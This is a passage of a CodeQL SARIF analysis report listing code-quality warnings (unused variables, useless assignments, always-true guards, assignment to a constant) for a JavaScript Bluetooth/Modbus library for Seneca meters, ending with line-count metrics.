CommandType."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"tests/fakeBluetooth.test.js","uriBaseId":"%SRCROOT%","index":21},"region":{"startLine":18,"startColumn":5,"endColumn":16}}}],"partialFingerprints":{"primaryLocationLineHash":"e1f83ede9271431f:1","primaryLocationStartColumnFingerprint":"4"}},{"ruleId":"js/unused-local-variable","rule":{"id":"js/unused-local-variable","index":163,"toolComponent":{"index":0}},"message":{"text":"Unused variable Command."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"senecaModbus.js","uriBaseId":"%SRCROOT%","index":18},"region":{"startLine":8,"startColumn":9,"endColumn":16}}}],"partialFingerprints":{"primaryLocationLineHash":"d57c279762aab4e2:1","primaryLocationStartColumnFingerprint":"8"}},{"ruleId":"js/unused-local-variable","rule":{"id":"js/unused-local-variable","index":163,"toolComponent":{"index":0}},"message":{"text":"Unused variable module."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":1,"startColumn":342,"endColumn":348}}}],"partialFingerprints":{"primaryLocationLineHash":"bf991fe8f45b313f:1","primaryLocationStartColumnFingerprint":"341"}},{"ruleId":"js/unused-local-variable","rule":{"id":"js/unused-local-variable","index":163,"toolComponent":{"index":0}},"message":{"text":"Unused variable exports."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":1,"startColumn":349,"endColumn":356}}}],"partialFingerprints":{"primaryLocationLineHash":"bf991fe8f45b313f:1","primaryLocationStartColumnFingerprint":"348"}},{"ruleId":"js/unused-local-variable","rule":{"id":"js/unused-local-variable","index":163,"toolComponent":{"index":0}},"message":{"text":"Unused variable SET_POWER_OFF."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":896,"startColumn":7,"endColumn":20}}}],"partialFingerprints":{"primaryLocationLineHash":"5aa39c72c1340f9:1","primaryLocationStartColumnFingerprint":"6"}},{"ruleId":"js/unused-local-variable","rule":{"id":"js/unused-local-variable","index":163,"toolComponent":{"index":0}},"message":{"text":"Unused variable APIState."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":1276,"startColumn":7,"endColumn":15}}}],"partialFingerprints":{"primaryLocationLineHash":"21fba138144d5a89:1","primaryLocationStartColumnFingerprint":"6"}},{"ruleId":"js/unused-local-variable","rule":{"id":"js/unused-local-variable","index":163,"toolComponent":{"index":0}},"message":{"text":"Unused variable Command."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":4800,"startColumn":9,"endColumn":16}}}],"partialFingerprints":{"primaryLocationLineHash":"d57c279762aab4e2:1","primaryLocationStartColumnFingerprint":"8"}},{"ruleId":"js/assignment-to-constant","rule":{"id":"js/assignment-to-constant","index":166,"toolComponent":{"index":0}},"message":{"text":"Assignment to variable testTraces, which is [declared](1) constant."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"modbusTestData.js","uriBaseId":"%SRCROOT%","index":17},"region":{"startLine":2607,"startColumn":2,"endColumn":46}}}],"partialFingerprints":{"primaryLocationLineHash":"2cfff39a4a874063:1","primaryLocationStartColumnFingerprint":"0"},"relatedLocations":[{"id":1,"physicalLocation":{"artifactLocation":{"uri":"modbusTestData.js","uriBaseId":"%SRCROOT%","index":17},"region":{"startLine":3,"endLine":2592,"endColumn":3}},"message":{"text":"declared"}}]},{"ruleId":"js/assignment-to-constant","rule":{"id":"js/assignment-to-constant","index":166,"toolComponent":{"index":0}},"message":{"text":"Assignment to variable testTraces, which is [declared](1) constant."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":4428,"startColumn":2,"endColumn":46}}}],"partialFingerprints":{"primaryLocationLineHash":"2cfff39a4a874063:1","primaryLocationStartColumnFingerprint":"0"},"relatedLocations":[{"id":1,"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":1824,"endLine":4413,"endColumn":3}},"message":{"text":"declared"}}]},{"ruleId":"js/useless-assignment-to-local","rule":{"id":"js/useless-assignment-to-local","index":167,"toolComponent":{"index":0}},"message":{"text":"The value assigned to nextAction here is unused."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"bluetooth.js","uriBaseId":"%SRCROOT%","index":4},"region":{"startLine":148,"startColumn":6,"endColumn":32}}}],"partialFingerprints":{"primaryLocationLineHash":"b479db78e57640c1:1","primaryLocationStartColumnFingerprint":"0"}},{"ruleId":"js/useless-assignment-to-local","rule":{"id":"js/useless-assignment-to-local","index":167,"toolComponent":{"index":0}},"message":{"text":"The value assigned to nextAction here is unused."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"bluetooth.js","uriBaseId":"%SRCROOT%","index":4},"region":{"startLine":150,"startColumn":6,"endColumn":30}}}],"partialFingerprints":{"primaryLocationLineHash":"67f2129317e80c5c:1","primaryLocationStartColumnFingerprint":"0"}},{"ruleId":"js/useless-assignment-to-local","rule":{"id":"js/useless-assignment-to-local","index":167,"toolComponent":{"index":0}},"message":{"text":"The value assigned to nextAction here is unused."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"bluetooth.js","uriBaseId":"%SRCROOT%","index":4},"region":{"startLine":171,"startColumn":6,"endColumn":32}}}],"partialFingerprints":{"primaryLocationLineHash":"b479db78e57640c1:2","primaryLocationStartColumnFingerprint":"0"}},{"ruleId":"js/useless-assignment-to-local","rule":{"id":"js/useless-assignment-to-local","index":167,"toolComponent":{"index":0}},"message":{"text":"The value assigned to nextAction here is unused."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"bluetooth.js","uriBaseId":"%SRCROOT%","index":4},"region":{"startLine":173,"startColumn":6,"endColumn":30}}}],"partialFingerprints":{"primaryLocationLineHash":"81b5d7bb3758e260:1","primaryLocationStartColumnFingerprint":"0"}},{"ruleId":"js/useless-assignment-to-local","rule":{"id":"js/useless-assignment-to-local","index":167,"toolComponent":{"index":0}},"message":{"text":"The initial value of result is unused, since it is always overwritten."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"bluetooth.js","uriBaseId":"%SRCROOT%","index":4},"region":{"startLine":218,"startColumn":7,"endColumn":34}}}],"partialFingerprints":{"primaryLocationLineHash":"7bda4cbb8f9f5b97:1","primaryLocationStartColumnFingerprint":"4"}},{"ruleId":"js/useless-assignment-to-local","rule":{"id":"js/useless-assignment-to-local","index":167,"toolComponent":{"index":0}},"message":{"text":"The value assigned to server here is unused."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"bluetooth.js","uriBaseId":"%SRCROOT%","index":4},"region":{"startLine":594,"startColumn":4,"endColumn":24}}}],"partialFingerprints":{"primaryLocationLineHash":"eb847e060b825ea4:1","primaryLocationStartColumnFingerprint":"0"}},{"ruleId":"js/useless-assignment-to-local","rule":{"id":"js/useless-assignment-to-local","index":167,"toolComponent":{"index":0}},"message":{"text":"The value assigned to nextAction here is unused."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":149,"startColumn":6,"endColumn":32}}}],"partialFingerprints":{"primaryLocationLineHash":"b479db78e57640c1:1","primaryLocationStartColumnFingerprint":"0"}},{"ruleId":"js/useless-assignment-to-local","rule":{"id":"js/useless-assignment-to-local","index":167,"toolComponent":{"index":0}},"message":{"text":"The value assigned to nextAction here is unused."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":151,"startColumn":6,"endColumn":30}}}],"partialFingerprints":{"primaryLocationLineHash":"67f2129317e80c5c:1","primaryLocationStartColumnFingerprint":"0"}},{"ruleId":"js/useless-assignment-to-local","rule":{"id":"js/useless-assignment-to-local","index":167,"toolComponent":{"index":0}},"message":{"text":"The value assigned to nextAction here is unused."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":172,"startColumn":6,"endColumn":32}}}],"partialFingerprints":{"primaryLocationLineHash":"b479db78e57640c1:2","primaryLocationStartColumnFingerprint":"0"}},{"ruleId":"js/useless-assignment-to-local","rule":{"id":"js/useless-assignment-to-local","index":167,"toolComponent":{"index":0}},"message":{"text":"The value assigned to nextAction here is unused."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":174,"startColumn":6,"endColumn":30}}}],"partialFingerprints":{"primaryLocationLineHash":"81b5d7bb3758e260:1","primaryLocationStartColumnFingerprint":"0"}},{"ruleId":"js/useless-assignment-to-local","rule":{"id":"js/useless-assignment-to-local","index":167,"toolComponent":{"index":0}},"message":{"text":"The initial value of result is unused, since it is always overwritten."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":219,"startColumn":7,"endColumn":34}}}],"partialFingerprints":{"primaryLocationLineHash":"7bda4cbb8f9f5b97:1","primaryLocationStartColumnFingerprint":"4"}},{"ruleId":"js/useless-assignment-to-local","rule":{"id":"js/useless-assignment-to-local","index":167,"toolComponent":{"index":0}},"message":{"text":"The value assigned to server here is unused."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":595,"startColumn":4,"endColumn":24}}}],"partialFingerprints":{"primaryLocationLineHash":"eb847e060b825ea4:1","primaryLocationStartColumnFingerprint":"0"}},{"ruleId":"js/unneeded-defensive-code","rule":{"id":"js/unneeded-defensive-code","index":184,"toolComponent":{"index":0}},"message":{"text":"This guard always evaluates to true."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"meterPublicAPI.js","uriBaseId":"%SRCROOT%","index":15},"region":{"startLine":131,"startColumn":6,"endColumn":21}}}],"partialFingerprints":{"primaryLocationLineHash":"28b4e82238215143:1","primaryLocationStartColumnFingerprint":"4"}},{"ruleId":"js/unneeded-defensive-code","rule":{"id":"js/unneeded-defensive-code","index":184,"toolComponent":{"index":0}},"message":{"text":"This guard always evaluates to true."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"meterPublicAPI.js","uriBaseId":"%SRCROOT%","index":15},"region":{"startLine":204,"startColumn":6,"endColumn":21}}}],"partialFingerprints":{"primaryLocationLineHash":"4b60bcf3a5388e54:1","primaryLocationStartColumnFingerprint":"4"}},{"ruleId":"js/unneeded-defensive-code","rule":{"id":"js/unneeded-defensive-code","index":184,"toolComponent":{"index":0}},"message":{"text":"This guard always evaluates to true."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":1430,"startColumn":6,"endColumn":21}}}],"partialFingerprints":{"primaryLocationLineHash":"28b4e82238215143:1","primaryLocationStartColumnFingerprint":"4"}},{"ruleId":"js/unneeded-defensive-code","rule":{"id":"js/unneeded-defensive-code","index":184,"toolComponent":{"index":0}},"message":{"text":"This guard always evaluates to true."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":1503,"startColumn":6,"endColumn":21}}}],"partialFingerprints":{"primaryLocationLineHash":"4b60bcf3a5388e54:1","primaryLocationStartColumnFingerprint":"4"}},{"ruleId":"js/implicit-operand-conversion","rule":{"id":"js/implicit-operand-conversion","index":185,"toolComponent":{"index":0}},"message":{"text":"This expression will be implicitly converted from undefined to number."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"senecaModbus.js","uriBaseId":"%SRCROOT%","index":18},"region":{"startLine":388,"startColumn":24,"endColumn":28}}}],"partialFingerprints":{"primaryLocationLineHash":"a157467d7d5f3d80:1","primaryLocationStartColumnFingerprint":"20"}},{"ruleId":"js/implicit-operand-conversion","rule":{"id":"js/implicit-operand-conversion","index":185,"toolComponent":{"index":0}},"message":{"text":"This expression will be implicitly converted from undefined to number."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"dist/bt-seneca-msc.js","uriBaseId":"%SRCROOT%","index":11},"region":{"startLine":5180,"startColumn":24,"endColumn":28}}}],"partialFingerprints":{"primaryLocationLineHash":"a157467d7d5f3d80:1","primaryLocationStartColumnFingerprint":"20"}}],"newlineSequences":["\r\n","\n"," "," "],"columnKind":"utf16CodeUnits","properties":{"semmle.formatSpecifier":"sarif-latest","metricResults":[{"rule":{"id":"js/summary/lines-of-code","index":100,"toolComponent":{"index":0}},"ruleId":"js/summary/lines-of-code","value":9852},{"rule":{"id":"js/summary/lines-of-user-code","index":101,"toolComponent":{"index":0}},"ruleId":"js/summary/lines-of-user-code","value":5076,"baseline":4954}],"codeqlConfigSummary":{"disableDefaultQueries":false,"queries":[{"type":"builtinSuite","uses":"security-and-quality"}]},"jobRunUuid":"0fcfc0c5-6bab-46be-bb4b-c2b7124558f2"}}]}